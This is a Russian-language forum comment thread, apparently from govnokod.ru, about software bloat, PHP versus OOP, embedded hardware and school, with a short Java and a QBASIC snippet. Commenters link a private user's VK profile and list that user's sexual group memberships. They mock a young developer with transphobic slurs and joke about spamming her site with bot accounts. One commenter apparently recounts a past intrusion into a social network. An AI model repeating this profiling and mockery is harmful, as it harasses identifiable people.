                                          Я понимаю, какая-нибудь питушня с играми, где вместо хакерского вычисления корней вставляют нормальный код. Игры ещё долго будут становиться только более тормознутыми.
                                          Но работа с текстом и чатики не должны столько жрать, там ничего не изменилось за последние 30 лет, а то и больше!
                                          Ответить
                                          • > Не, ну а зачем они просто берут и говняют то, что хорошо работало?
                                            А как иняче объяснить пользователю, что ему няпременно нядо обновить купленный год нязад смартфон ня такой же, но дороже (инфляция, уважаемый)?
                                            Вот и происходит подмена по-ня-тия "прогрессивное" ня "современное", а "старое" — ня "устаревшее".
                                            Ответить
                                            • Почему нельзя просто продавать в 10-100 раз дороже элитную версию того же смартфона, чтобы хотя бы раз в 5 лет брали? Прикрутить туда золотую крышку, если надо. Золото - довольно дешёвый металл по сравнению с налётом элитности.

                                              И это всем выгодно. Не надо каждый год замыливать фотографии со смартфона прошлой модели на презентациях, а выкатывать реальные фичи, за которые все бы были готовы заплатить?

                                              У мистерхуздабосса было видео, где он показывал телефон, в который впердолили 1кг золота (камера, кстати, после этого перестала работать, поскольку свет не проходит через несколько сантиметров металла) и продали получившееся по цене как 2-4кг (точно не помню) золота.
                                              P.S. Тот телефон купил кто-то из России.
                                              Ответить
                                          • >Не, ну а зачем они просто берут и говняют то, что хорошо работало?
                                            потому что оно нахуй никому не уперлось кроме 3 промилле старперов
                                            Ответить
                                            • Если бы они не говняли, это было бы не 3 промилле, а гораздо больше людей.
                                              А так выходит замкнутый круг: годноту сговняли - ей перестают пользоваться - её невыгодно фиксить.
                                              Ответить
                                              • Для меня последовательность другая

                                                Перестали делать старое говно которые старперы считают хорошим -> начали делать новое говно которое старперы считают плохим

                                                никто не говнил старые "хорошие" продукты, их просто перестали делать потому что их кроме старперов никто не покупает
                                                Ответить
                                                • Skype сговнили. Он в итоге просто сгнил.
                                                  Интерфейс сделали для аквариумных рыбок, поиск сломали, и т.д. Хотя, все нужные фичи там уже были. Текст, аудио, видео, передача файлов.
                                                  Как тот же Вотсапп, только без привязки к телефону и без питушни, когда твой телефон зачем-то всё проксирует, и трафик гоняется джва раза.
                                                  Ответить
                                                    • Телевизоры сгнили. Аналоговому телевизору с ЭЛТ из девяностых для переключения совсем немного времени надо было, а цифроговно творит какую-то питушню в течение секунды.

                                                      И ладно это бы объяснялось какими-нибудь хитрыми кодированиями цифрового сигнала с большими чанками, сделанными ради оптимальности и помехоустойчивости, чтобы даже в подвале в деревне всё ловилось на радость алкашам Михею и дядь-Сане. Но нет, телевизоры тормозят и на переключении обычных дедовских аналоговых каналов. Они тормозили ещё тогда, когда про DVB-T* в России ещё не слышали, максимум где-то попадались питухи с DVB-T из-за того, что в каких-то там странах цифрушня уже появилась, а вырезать модуль ЦТВ ради каких-то там аналоговых стран было нерентабельно.

                                                      Единственный плюс - что телевизор из девяностых при выборе страницы телетекста ждёт, пока её принесёт прямой кефир, а у новодела хватает памяти, чтобы один раз всё загрузить и не забывать. Хотя, сколько людей активно пользуется телетекстом (не считая страницы с субтитрами)?
                                                      Ответить
                                                      • Вот мне сейчас противно смотреть телевизор чисто из-за этого. Содержание меня вполне устраивает. Пока новости, малахфью и подобное не смотришь, всё отлично.

                                                        Подход "если сейчас отойдёшь в туалет, пропустишь интересное" заставляет больше ценить контент. Отсутствие комментариев позволяет меньше времени тратить на прочтение какой-то питушни каких-то людей. Предустановленная программа спасает от алгоритма, который загоняет тебя в поисковый пузырь, где тебе быстро становится скучно.
                                                        Ответить
                                                        • я не смотрю телевизор, компы и телефоны для меня однозначно продвинулись вперед

                                                          другой смарт-технику не пользовался
                                                          Ответить
                                                  • > Интерфейс сделали для аквариумных рыбок, поиск сломали
                                                    Рекламу забыл. Кстати, напоминает ICQ. Так же сгнило. Хотя, если бы продержалось ещё лет 5, имело бы все шансы влиться в ряд топ мобильных мессенджеров. Там уже было всё, кроме голосовой и видеосвязи.

                                                    А по поводу интерфейса для рыбок, попробуй разобраться, как в десктопном Вайбере написать пользователю не в твоём контакт-листе.
                                                    Ответить
                            • Охранно-пожарные системы. В Болидовском С2000 4К оперативки.

                              Космос. Запихнуть что-то высокопроизводительное мешает ограничения по энергопотреблению и надёжности.

                              Промышленность. Там хотят устройство, которое не начнёт разваливаться если его случайно нагреют до 300 градусов, которое не перезагрузится, если рядом в кабеле пойдёт пара сотен ампер переменого тока. Которое ВНЕЗАПНО не сглючит из-за сошедшихся звёзд. Поэтому "запихнуть процессор помощнее и хуячить как на десктопе" — не вариант. Этот процессор для js-embeddeda вообще формально верифицирован?

                              Всякие устройства к которым не полагается ручки для переноски. Аппловский AirTag, который размером чуть больше батарейки CR2032, которая его питает обходится 32К, причём туда запихнута криптография, передача данных по BT, управление всякой хуйнёй вроде GPS приёмника, акселерометров, динамика.
                              Ответить
                              • это все (кроме AirTag) было выпущено за последние 10 лет? С2000 написано что снят с производства

                                >Которое ВНЕЗАПНО не сглючит из-за сошедшихся звёзд
                                это никак не зависит от мощности железа

                                >обходится 32К
                                пруф пожалуйста
                                Ответить
                                • Погугли разбор AirTag'а. Он управляется nRF52832: https://www.nordicsemi.com/products/nrf52832

                                  Снизу слева:
                                  https://images.macrumors.com/t/XPUHx8gWv96SuFRR3FnuzPRdgLs=/800x0/filters:quality(90)/article-new/2021/05/airtag-teardown-close-up.jpeg?lossy

                                  > С2000 написано что снят с производства
                                  Потому что искать надо С2000М. Мой косяк, никто в реальности эту М не произносит.
                                  Это это часть систем, работающих по всей России и близлежащих странах. Включая оборонку, АЭС, и прочую госпарашу.

                                  > это никак не зависит от мощности железа
                                  Это зависит от сложности. Доказать, что в процессоре из 2 миллиардов транзисторов нет ошибок сложнее, чем доказать это для процессора из 300 тысяч транзисторов.
                                  Это зависит от технологии. Шанс брака в микросхеме, изготовленной по 7нм технологии, выше, чем у такой же, изготовленной по 40нм. Но понятное дело, что в 40нм микросхему не запихнёшь столько же элементов, что и в 7нм.

                                  Ну и ещё цену надо считать. Микроконтроллеры с 4кб памяти и 16МГц можно килограммами покупать на сдачу с Макдональдса. Чтобы запускать JS нужно намного больше потратить.
                                  Ответить
                                  • > AirTag

                                    Фу, какая огромная хреновина... Есть же ARM'овский контроллер размером 0.3мм. С солнечной батарейкой и оптическим трансивером (антенны для блютуса в 0.3мм не влезли, к сожалению).
                                    Ответить
                                    • Китайские дети-сборщики пинцетом не удержат.

                                      Там на обратной стороне как раз антенна идёт по всему кругу в несколько витков. Остальная часть платы — акселерометр, GPS, обвязка для них, обвязка для магнитного динамика (потому что AirTag по сути — динамик, и вся электроника собрана внутри него).
                                      Ответить
                                        • Оно может орать, когда кто-то разлучает его с хозяином, в режиме «где ты сука проебалось» оно затыкается, если его нашли и подняли. Что-то ещё вроде умеет.
                                          Ответить
                                          • выглядит как работа для gps в общем случае

                                            хотя не думаю, что акселерометр сильно усложнил производство
                                            Ответить
                                            • > gps

                                              Он в квартире не ловится же. Ну и всякие мелкие движения не чувствует, они на грани погрешности будут. "Нашли и подняли" это явно задачка для акселерометра.
                                              Ответить
                              • тащемта крипотаграфией (причем не особо миниатюрной) никого не удивить
                                Ответить
                      • А «Пинта», «Нинья» и «Санта-Мария» довезли людей до Америки вообще без единого килобайта, именно поэтому я за
                        Ответить
                    • > в пример 50-летний копролит это троллинг такой

                      Достижения 50-летнего копролита почему-то так и не повторили. Больше на Луне никто не высаживался.
                      Ответить
                      • > Больше на Луне никто не высаживался.

                        А что там делать, кстати? Жить там не особо прикольно, а лунных камней и в тех экспедициях полный подвал натаскали...

                        Сейчас 99% космических программ -- это методичное засирание орбит спутниками связи.
                        Ответить
                        • З.Ы. И что-то мне нямекает, что старшип пару раз слетает к марсу, потом всем это надоест и он тоже будет подвозить спутники до ближайшей орбиты.
                          Ответить
      • > номерые петухи
        Хорошо.

        >Именно поэтому я за «PHP»
        Одобряем.

        >Сорок тысяч обезьян
        Замечательно.

        >govnokod.ru
        А вот палиться не следует.
        Ответить
              • Зашел в профиль одного из гостей, откомментировавших ту запись на стене
                https://vk.com/id516384966

                Группы:

                Девочка Трапик Катя-Тян, Няшки, Sweet trap, Felix Argyle Everyday, Кошкомальчики 18, Антианиме, Мальчики которые почти девочки Trap 18, It s time to fap 18, Госпожа Кагуя 2 сезон Этот глупый свин, LADS NSFW 18, lo-fi personal life, To Love-RU Monster Musume, Sissy boy
                Traps World, погладь меня я помурчу з, ЛГШ, ღ То что нужно ღ, To Love-Ru Series Yabuki Kentaro, Трап Членодевушка Алиса Кусь 18, Трансы Sissy Членодевушки, Sissy Life, Знакомства Трансы 18, Little cup of tea, hello my name is クリスティー 18, Заблокированный в РФ архив трапов, Trapoue, Trap Chan R-18, Hentai Art Castle Замок Фуллов, AniDUB официальная группа аниме сообщества, Аниме Наруто Naruto Anime, Osaka, Кавайный Анимешник K.A Аниме мемы, Archive 生活, kawaiisuki, Onii, 5 ковров Стирка химчистка ковров в СПб, Nowere, Челкастые Неформалы, HIKKICHAN, Эмо знакомства Челкастые ищут сп, Slap, r Синдром лоликонщика, Трапы з, Слив фото Оляши Tenderlybae Gtfobae, Мир трапов 2.0 И не только;, С челкой по жизни, Аниме беседа Добавь в друзья, Anime Traps, Старшая Школа DxD High School DxD DxD Girls, Немножко больше чем лоличан, Этот глупый свин не понимает мечту девочки-зайки, Грустный Эмарь, HENTIME, Sweet Aesthetics, Трапское развлечение, Anime Traps Аниме Трапы, Сладкая вата, Папка анимешника, АНИМЕ ХЕЛСИНГ Hellsing Anime, High School DxD Старшая Школа Демоны против Падш, Meow 3, Soul ɍøđ ȼŧ øn, Frank Wolf 1993, Любовные неприятности To Love-Ru Trouble, Ну что господа трапы и яой ? Аниме, trap bros., Челка есть ума не надо с, Няшные челки, девчонки с чёлками и их любители, Няшки С чёлками, Выебу тебя челкой, Носители чёлок, Role Reversal Gentle Femdom, Трап Аниме Trap Anime 18, We love Lala Haruna Yami To love-ru Мы любим Лалу Харуну Ями и.., аниме арты, Тайник священника
                Ответить
                • Этот глупый свин не понимает мечту девочки-зайки.
                  Ответить
                  • А ты смотрела аниме Задрачивая кресты Убивая слизней 300 лет, сама того не заметив, я достигла максимального уровня ?
                    Ответить
                    • угадайте, онимэ это или нет

                      молодой воин обнаруживает, что роботы захватывают людей и потом отправляют через портал, из которого обратно выходят другие роботы. позже воин встречается с гигантским мозгом, который отправляет его на тысячу лет в криосон, чтобы воин мог победить этот самый мозг, поехавший за столько времени
                      Ответить
                • Жесть )))

                  > 5 ковров Стирка химчистка ковров в СПб
                  Там их дилер, инфа сотка
                  Ответить
                  • ковер запачкался после просмотра других групп видимо
                    Ответить
                • > узнаете миня по футболке с нэвэльным

                  Почему они все так тащатся от «нэвэльного»?
                  Ответить
                  • >узнаете миня

                    Фам Минь Чинь
                    Премьер-министр Социалистической Республики Вьетнам
                    Ответить
                • > Выебу тебя челкой

                  – после потока унылого гомопорно от уёбка как глоток свежего воздуха
                  Ответить
                • А мне ещё говорили, что не все трапы – извращенцы, помешанные на своей «трапности». Они ничем не лучше других извращенцев, которые сидят в куче групп с каким-нибудь извращённым порно, типа Абига Траоре.
                  Ответить
                • Честно говоря не помню. Там была какая-то новость про атаки ротоёба на "esvoe", и там был скрин говнокода моего (с том числе) комментария (с аккаунта inho). О чём комментарий - не вспомню.
                  Ответить
                      • А ещё интересно вот это. То ли параллельно со мной взломом занимался кто-то ещё, то ли кому-то приписали мои действия, чтобы хоть кого-то покарать.

                        http://ippi.org.ua/sites/default/files/2019-2-1.pdf

                        «Украинскую социальную сеть «єСвоє», которую создатели
                        позиционировали как первую в мире соцсеть с собственной криптовалютой и
                        «реального конкурента Facebook», хакер-одиночка взломал на вторую неделю
                        после её запуска в beta-версии.
                        Об этом говорится в постановлении Хмельницкого горрайонного суда
                        Хмельницкой области…
                        Как стало известно, безработный гражданин Украины, уроженец Сургута
                        (РФ), 8 октября 2017 года (сеть запустилась в режиме beta-версии 29 сентября
                        2017), обладая знаниями в области программирования и с помощью
                        неустановленного досудебным расследованием программного обеспечения,
                        осуществил доступ к административной панели Интернет ресурса esvoe.com,
                        который принадлежит ООО «ИТЕРНЕТКЕШ», в результате чего получил доступ к
                        конфиденциальной информации пользователей.
                        Согласно постановлению суда, злоумышленник получил полный доступ к
                        текстовой и графической информации карточек пользователей указанной
                        социальной сети, которые хранились во временных файлах для тестирования
                        подключения Интернет-ресурса esvoe.com к электронным платежным системам.
                        – Таким образом, своими умышленными действиями мужчина совершил
                        несанкционированное вмешательство в работу компьютерных сетей, а именно
                        Интернет-ресурса esvoe.com, который принадлежит ООО «ИТЕРНЕТКЕШ», что
                        привело к утечке информации, то есть уголовное преступление, предусмотренное
                        ч. 1 ст. 361 УК Украины, – говорится в материалах дела….
                        Ответить

                        • В суде адвокат обвиняемого подал ходатайство о закрытии уголовного дела и
                          освобождении обвиняемого от наказания. Защитник мотивировал ходатайство тем,
                          что инкриминируемые обвиняемому деяния являются преступлением средней
                          тяжести, имели место только один раз, причем больше года назад, какого-либо
                          материального ущерба или иных убытков своими действиями он не причинил, а,
                          следовательно, указанное деяние потеряло общественную опасность.
                          При принятии решения по указанному ходатайству защитник также просил
                          учесть личность обвиняемого, который является инвалидом 3 группы с детства,
                          положительно характеризуется, преступление совершено впервые,
                          противоправную деятельность прекратил и способствовал следствию. Кроме того,
                          претензий к обвиняемому не предъявили и в социальной сети, а гражданский иск
                          не подавался.
                          Суд прислушался к стороне защиты и освободил обвиняемого от уголовной
                          ответственности «в связи со сменой обстановки» и закрыл уголовное производство.
                          Процессуальные расходы были отнесены на счет государства.» (Владимир
                          Кондрашов. Суд простил хакера, который взломал украинскую социальную
                          сеть ещё на стадии beta-версии // Internetua (http://internetua.com/sud-prostilhakera-kotoryi-vzlomal-ukrainskuua-socialnuua-set-esxe-na-stadii-beta-versii).
                          04.02.2019).
                          Ответить
                      • AnalPerOral:)))))))) Ротоёб, ты наш герой
                        Ответить
                    • > Соцсеть начинала работу на базе движка Socialite, его разработали трое программистов из Индии, и втроем же поддерживают его работу.
                      > Лицензия на Socialite стоит $45. «Листинг корневых сайтов виден всем желающим,
                      > а при тестировании используются такие нехитрые ники, как “Твоя мамка”»

                      Новость как хорошее вино.
                      Ответить
        • Если трап узнает, как боты в диких интернетах брутят пароли от SSH и пытаются вычислить движок сайта, то наверное обосрётся.

          Я рассказывал, что номерные петухи есть на всех ресурсах, даже в «Гитхабе» они стаями ходят.
          Ответить
          • У меня есть сайт, который я писал примерно в её возрасте (может, чуть постарше) в качестве вузовского проекта. Он с тех пор висит в интернете, но номерных петухов на нём нет. Капча вроде той, что на ГК. Просто сайт мой нафиг никому не сдался.
            Ответить
            • > Просто сайт мой нафиг никому не сдался.

              Ну это странно... Я как-то делала формочку для отзывов, так её через неделю уже засрали виагрой и увеличением членов.
              Ответить
              • Я не помню, была ли возможность писать питушню будучи гостем. На регистрацию точно капча всегда была.
                Также не помню, регистрировались ли там питухи и удлинял ли капчу. Но сейчас там только моя учётка и учётки тех, с кем я учился, петухов нет.
                Ответить
                • > удлинял ли капчу
                  Enlarge Your Captcha Today. WIth This Simple Method You Can Enlarge Your Captcha Up To 12 Symbols In A Month.
                  Ответить
            • > может, чуть постарше
              или помладше, я считать не умею
              Ответить
      • Ну нужно берега знать. ты зачем у ПРОСТЫХ ЛЮДЕЙ забрал УНИКАЛЬНЫЕ ИД?
        Ответить
        • Раньше в сказке у всех пердаки подгорали, когда их козлёнок, или кто там был, считал. А теперь всем иды выдавай!
          Ответить
          • Предрассветный крик номерного петуха заставляет исчезать нечистую силу.
            Ответить
            • Красивые гуиды реже, но встречаются.
              Миллиардеры будут драться хоть за сколько-нибудь красивый гуид.
              Ответить
      • там какой-то трап и хуёвый программист
        Ответить
        • > хуёвый программист

          А ты сам то в районе 20 уже писал только качественный и красивый код? Я -- нет.
          Ответить
          • А это не имеет никакого значения. Вполне верю, что в двадцать два года я тоже был хуёвый программист. Я может и сейчас хуёвый. Но это не мешает и трапу тоже быть хуёвым
            Ответить
          • Я вот в 22 старался ООП обходить стороной, за гуй не брался, да и с интернетами особо дел не имел. И такого количества библиотек не знал, как современные программисты, почти всё велосипедил с нуля.
            Ответить
            • > старался ООП обходить стороной

              А потом тебе прострелили колено?
              Ответить
            • > И такого количества библиотек не знал, как современные программисты, почти всё велосипедил с нуля.
              И я.
              Ответить
            • Я в 22 как раз был пафосным ООПидором с бандой четырёх и абстрактными фабриками стратегий.

              Мне казалось, что именно это и есть "настоящее", "взрослое" программирование.
              Ответить
            • Я и сейчас обхожу. Когда мне надо выполнить запрос к базе данных, я выполняю конкретный mysqli_query/pg_query-запрос, а не подключаю гигантскую библиотеку вроде Doctrine или Eloquent. Когда мне надо вывести JSON, я вывожу заголовок с помощью конкретной функции "header" и сам массив с помощью не менее конкретной "json_encode", а не горожу ООП-мусор вида "$response->output($data)->asJson()->code(200)". Когда мне необходимо получить данные с левого сервера, я применяю простой и понятный CURL или вовсе однострочный "file_get_contents", а не изъёбываюсь с Газзлами-Хуяззлами. Ну, а если вдруг возникает необходимость динамически сформировать HTML-страницу, то я - о ужас! как так можно?! - прописываю HTML-код и проставляю в нём везде необходимый PHP-код, безо всяких шаблонизаторов. Это ведь вообще дебилизм - имея и ежедневно используя язык, не в последнюю очередь заточенный под шаблонизацию, прибегать к каким-то ограниченным даунским Twig, Blade, Smarty и прочему говну.
              Поэтому я за PHP - только он позволяет выбрать самый простой путь разработки. Но при этом я против ключевых слов "namespace", "new", "static", "protected", "self", "class", "interface", "trait", "->" и т.д. Также я против Composer, ибо некогда простые наборы самописных функций суммой в 100-200 строк превратились в огромные библиотеки с десятками зависимостей.
              Ответить
              • > при этом я против ключевых слов "namespace", "new", "static", "protected", "self", "class", "interface", "trait", "->" и т.д

                Въебал плюс.
                Ответить
              • Вот да, не так уж много языков с уже встроенным шаблонизатором. Зачем на него сторонние шаблонизаторы тащить?

                И хорошо, что можно писать без ООП, а не как в «Java» и в «C#».
                Ответить
              • И да - я разбираюсь в модненьких Laravel и Yii2, но если есть возможность не использовать эту хуйню, я о ней вообще не вспоминаю, наслаждаясь спокойным и течным процедурным программированием. Кто-то пизданёт про "читаемость", "красоту" и "структурированность" кода, а я отвечу так: во-первых, мне похуй на тех программистов, которые приходят после меня (и даже не пытайтесь мне пиздеть, что вы не такие); во-вторых, если программист не обладает мышлением, позволяющим прочесть любой чужой код, к такому программисту появляются вопросы - точно ли он хотел работать не в МакДоналдсе; в-третьих, такая "структурированность", когда ты в чужом проекте целый день разыскиваешь по всем директориям, классам и зависимостям эти мелкие фрагменты кода, отвечающие за работу одной функции, нахуй не всралась.
                Ответить
                • Yii и Yii2 мы тут уже обсирали. Документация — дрянь, а класс для работы с СУБД позволяет протаскивать SQL-инъекции.
                  Ответить
                • Мне это ООП напоминает те старые, уже давно забытые акции от Coca-Cola про "собери слово из букв под крышечками и получи приз". Найди, блядь, все необходимые строчечки кода в десятках файлов и директорий и спустя полдня поисков наконец пойми, как, блядь, работает этот простейший метод API, логирующий клики пользователя в браузере или выполняющий авторизацию по логину и паролю.

                  Не знаю, как сейчас (промытый "Хабр" уже давно не читаю), а раньше дебилам активно ебали мозги на тему того, что, мол, "бизнес-логика не должна храниться в контроллере, она обязательно должна быть вынесена в модель". То есть, даже пару-тройку строк кода вставки данных в базу в условном методе "регистрация пользователя" ни в коем случае нельзя оставлять в контроллере, хоть этот код уже никогда не повторится в других контроллерах и методах проекта, - надо обязательно прописать этот код в каком-то другом файле только потому, что какой-то долбоёб решил, что так правильнее.
                  Ответить
                  • Вот да, раздражают бесполезные методы, которые сами ничего не делают, только делегируют работу другим методам:
                    function f($x, $y) {
                        return g($y, $x);
                    }


                    Зачем такое? Косплей на «Java»?
                    Ответить
                    • > Зачем такое?

                      А если нужно будет поменять f, не меняя семантику g? Очень удобно.

                      Код легко поддерживать и расширять.
                      Ответить
                    • public class UserDTO {
                        private int id;
                        private String login;
                      
                        public int getId() {
                          return id;
                        }
                      
                        public void setId(int id) {
                          this.id = id;
                        }
                      
                        public String getLogin() {
                          return login;
                        }
                      
                        public void setLogin(String login) {
                          this.login = login;
                        }
                      
                        @Override
                        public String toString() {
                          return "UserDTO{" +
                                 "id=" + id +
                                 ", login='" + login + '\'' +
                                 '}';
                        }
                      
                        @Override
                        public boolean equals(Object o) {
                          if (this == o) return true;
                          if (o == null || getClass() != o.getClass()) return false;
                      
                          UserDTO dto = (UserDTO)o;
                      
                          if (id != dto.id) return false;
                          if (login != null ? !login.equals(dto.login) : dto.login != null) return false;
                      
                          return true;
                        }
                      
                        @Override
                        public int hashCode() {
                          int result = id;
                          result = 31 * result + (login != null ? login.hashCode() : 0);
                          return result;
                        }
                      }
                      Ответить
                    • > Зачем такое?

                      g = flip f

                      Именно поэтому ня за функциональные языки.
                      Ответить
                      • > g = flip f
                        > Именно поэтому ня за функциональные языки.

                        Б-р-р-р, экая мерзость. Есть же нормальный язык:
                        auto g = std::bind(f, _2, _1 );
                        Кстати дико хочу std::bind себе в Сишечку.
                        Ответить
                          • Пужулуйста.

                            А то я не скоро не выдержу и возьму Кресты.

                            Но они делают жуткие вещи с людьми.

                            Кто не возьмёт — превращается в девочек-волшебниц.
                            Ответить
                            • Кресты еще ничего. Вот если ты возьмешь Coq, то всё: будешь называть себя в женском роде
                              Ответить
                            • А ты просто юзай кресты как инструмент, без фанатизма...

                              В принципе, я сейчас к ним так и отношусь.
                              Ответить
                              • Я вот тоже иногда юзаю их как инструмент, но мне куда больше нравится их обсирать, тем более что есть за что.
                                Ответить
                              • Это отличает опытного программиста от ссаного нуба

                                Ссаный нуб всегда фанбой. Он знает один единственный язык, и постоянно орёт, как этот джаваскрипт или питон или еще какой-нить пхп прекрасен
                                Ответить
                            • > Кто не возьмёт — превращается в девочек-волшебниц.

                              Ну так возьми, если не хочешь быть волшебницей.
                              Ответить
                        • У bind'а есть проблемка. Он не контролирует количество аргументов.
                          Ответить
                        • std::bind говно ебаное, которое устарело уже на момент создания (т.к. есть лямбды) и еще к тому же хуево оптимизируется https://govnokod.ru/27533#comment649973

                          Это еще раз доказывает, что кресты - ебаная помойка
                          Ответить
                          • > Это еще раз доказывает, что кресты - ебаная помойка

                            Именно поэтому
                            Ответить
                  • Поддерживаю! Абстракции-нянякции.

                    Порою смотрю код на ООП, а он ничего не делает. И целый файл такой.
                    Смотрю, что они вызывают, а там снова целый файл с классом, который тоже ничего не делает.
                    Одну и ту же абстракцию передают через десять слоёв вахтёров.
                    Я что, грепать должен, чтобы что-то найти?
                    Ответить
                    • Особенно "гениальными" мне всегда казались интерфейсы и трейты? ЧТО ЭТО, БЛЯДЬ? ЗАЧЕМ ЭТО, БЛЯДЬ?! Нахуй оно нужно, если потом всё то же самое слово в слово будет повторено в классе?
                      Ответить
                    • > грепать

                      Ня помогает... Потому что у всех слоёв абсракции зачастую одинаковые имена методов.
                      Ответить
                      • Когда начинаешь раскручивать это говно, натыкаешься на абстрактный класс, и цепочка обрывается.. приходится вникать чем это говно инстанцируется
                        Ответить
                        • > чем это говно инстанцируется

                          И если типизация динамическая, ты этого никогда не узнаешь... Запуск программы не гарантирует, что ты увидел все варианты.
                          Ответить
                          • Именно по этому статический анализ для скриптушни посасывает.

                            В руби и классическом JS чуть больше.
                            В питоне и ES6 чуть меньше
                            Ответить
              • > я против ключевых слов "namespace", "new", "static", "protected", "self", "class", "interface", "trait",

                Переходи на ``Erlang'', там ни одного из этих ключевых слов нет.
                Ответить
          • Даже до 20-ти лет я не писал подобные высеры, а если и писал, то не выёбывался. Трап же просто таким образом привлекает к себе внимание.
            Ответить
              • Да. Я так боюсь написать высер, что вообще перестал писать код.
                Ответить
                • Тебе стыдно, что только в 20 школу окончил?
                  Ответить
                          • Школа с одной стороны напоминает мне масонские градусы, где в каждом новом классе говорят: «забудьте всё что вы знали до этого», «всё совсем не так».

                            А с другой методики дзенского зомбирования, основанные на методах мастера питушни.

                            Например в конце пятого класса, говорят, что Римская империя развалилась в V веке н.э.

                            Затем в шестом говорят что она просуществовала ещё тысячу лет.

                            То есть они сами подчёркивают что дают ложные, неполные знания. И закрепляют это зубрёжкой, экзаменами и оценками.

                            Смысл такого обучения - нарушить объективную четкую логику, нарушить четкость логики, образных рядов и эмоциональных рядов.
                            Ответить
                            • Вообще спорный вопрос: можно ли считать Византию (особенно позднюю) римской империей.

                              Формально они себя так называли (ромеи), но кроме названия там уже ничего не осталось, конечно
                              Ответить
                                • Тогда бы он про V век не говорил кмк)

                                  "Священная Римская Империя не является ни священной, ни римской, ни империей" (с) Вальтер
                                  Ответить
                                  • я извиняюсь, но Вольтер всё же. хотя я его не читал)

                                    ну СРИ да, попозже появилась, потому вряд ли

                                    да я и не помню, чтобы про неё сильно рассказывали в школе
                                    Ответить
                                  • > не является ни империей
                                    – это забавно, да, потому что в целом это был аналог современного Евросоюза скорее
                                    Ответить
                              • Основной смысл - оглупление. Бывают случаи очень сильного падения уровня интеллекта в результате применения это методики.

                                Сначала жертве говорят про вычитание, что нельзя вычитать из меньшего числа большее.

                                Затем говорят представить количество яблок.

                                Затем говорят представлять что у жертвы три яблока, а неё забрали пять.

                                Затем жертву убеждают в существовании отрицательных чисел.

                                Уравнения с этими числами повторяются многократно.

                                Говорят, что если жертва этого не выучит, то не перейдёт в следующий класс.

                                Затем обучающий начинает рассказывать про деление.

                                Жертве говорят, что, 7 не делится на 4. Говорят, что если жертва будет так делать то получит двойку.

                                Затем жертве говорят про дроби. Объясняют что 7 делится на 4.

                                Затем заставляют представить дробное.

                                Затем заставляют смешать образы дробного и целого.

                                Затем обучающий начинает рассказывать про степени. Жертве говорят корень из двух взять нельзя.

                                Затем рассказывают про квадратные уравнения. Жертве говорят корень из двух взять можно.

                                Жертве говорят что если дискриминант меньше нуля, то корней уравнения быть не может.

                                Жертве говорят, что, если будет задумываться над происходящим, то возьмут корень из отрицательного числа.

                                Эта методика вызывает страх падения интеллекта, и поэтому зомбирующий пугает тем, что жертва станет полным идиотом, если вспомнит математику.
                                Ответить
                                • > Жертве говорят, что, 7 не делится на 4. Говорят, что если жертва будет так делать то получит двойку.

                                  Единичку же!
                                  Ответить
                                  • QBASIC:
                                    A = 7 / 4
                                    PRINT A : REM выведет 1.75
                                    REM потому что по умолчанию переменные плавающие
                                    B% = 7 / 4
                                    PRINT B% : REM выведет 2
                                    REM потому что неявное преобразование в целого питуха
                                    REM осуществляется в ближайшую сторону
                                    C = 7 \ 4
                                    PRINT C : REM выведет 1
                                    REM потому что \ - это целая часть от деления
                                    Ответить
                                • Вот это говно в системе образования мне не нравится. Если ты чуть тупее, чем надо, плохо. Если ты чуть умнее - тоже плохо.
                                  Не использовал питушню, которую прошли - идиот. Использовал то, что не проходили - тЫ аХрИнЕл Мы ЭтОгО нЕ пРаХоДиЛе. Что-то не понял - всё, мы уже это прошли, получай двойки. Спросил что-то из следующей темы - жди, сучара, следующей темы и не высовывайся.
                                  Ответить
                                  • > Вот это говно в системе образования мне не нравится.

                                    А это неизбежно из-за группового обучения. Если каждого учить отдельно и не привязывать к общим чекпоинтам, то эта проблема уйдёт сама собой.
                                    Ответить
                    • чтоб дрочить на одноклассниц

                      если они есть, конечно
                      Ответить
                      • Да, об этом я не подумал.

                        Вообще социализация это одна из главных школьных задач. Гипотенуза иному и нахуй не нужна после школы, а умение общаться с одноклассницами -- да
                        Ответить
                        • главная школьная задача это чтоб спиногрызы были чем-то заняты хотя бы полдня, не более того

                          такое себе контрольно-исправительное учреждение, только без отметки в ментовке
                          Ответить
                          • > были чем-то заняты хотя бы полдня
                            > контрольно-исправительное учреждение, только без отметки в ментовке

                            Армия и детский сад.
                            Ответить
                            • в детский сад ходить необязательно
                              в армию можно не попасть

                              а вот мимо общеобразовательной бурсы пролететь очень сложно
                              Ответить
                                • засекаю время

                                  должен прийти Инканус и написать про "принцип мухи"
                                  Ответить
                                  • У меня ощущение что уже такой же устоявшийся неологизм ГК как «сёмантника», «сёмафор», «кобенаторы», «какой Х )))» итд.
                                    Ответить
                        • Гипотенуза - хороший критерий человека. Кому не нужна гипотенуза, тот сам не нужен.
                          Ответить
                    • Чтобы унижать. Ты сильный? Унижай слабых. Ты умный? Унижай тупых. Ты тупой? Унижай умных. Ты мудила? Унижай всех без сменной обуви. Ты учитель? Унижай чуть более умных и чуть более тупых учеников, унижай родителей, не сдавших на шторы. Ты министр и ставишь планы? Унижай учителей, пусть будет нереальный план и маленькая зарплата. Ты родитель? Унижай министров в разговорах у себя на кухне.
                      Ответить
                      • Всё верно.

                        А если сильные тебя унижают, и тебе от этого больно, то ты найди того, кто слабее, и отыграйся на нем

                        Сразу полегчает
                        Ответить
          • -- Такой убогий сайт
            -- Александр, по началу у всего так . Жди. Кейт умеет делать сайты , сейчас готов лишь первый, тестовый набросок. Дальше - больше. Внимательно следи за ходом работы и явно заметишь разницу вскоре
            Ответить
          • Там рекапча, но она задач не показывает, просто в фоне висит, чтобы генерировать csrf-токен,
            Ответить
        • 604й открывается. А вот на 60-м юзере бекенд виснет, судя по всему.
          Ответить
            • Вот вы смеетесь, а проект трапа уже практически уничтожил ВК и фейсбук
              Ответить
              • Да, у меня на его проекте номерных петухов больше, чем на ВК и ФБ вместе взятых.
                Ответить
              • Какой-то коллбек забыла повесить на ответ от базы?
                Ответить
                • Там много недоработок. Нет никакой индикации загрузки аватарки. Если не открывать средства разработчика, то невозможно узнать, догрузилась аватарка или всё ещё грузится.
                  Ответить
                  • блин, а я уже хотел закупиться её криптой во время ico
                    Ответить
                  • А нахрена это вообще надо? Может рассказать ей о "Pleroma", "Mastodon" и прочем подобном?
                    Ответить
                      • Для портфолио лучше делать что-то более менее полезное и новое, а не кривой клон того, что и так есть в опенсорсном виде.

                        Но так через создания петухов можно помочь ей отладить это и сделать удобные способы модерирования
                        Ответить
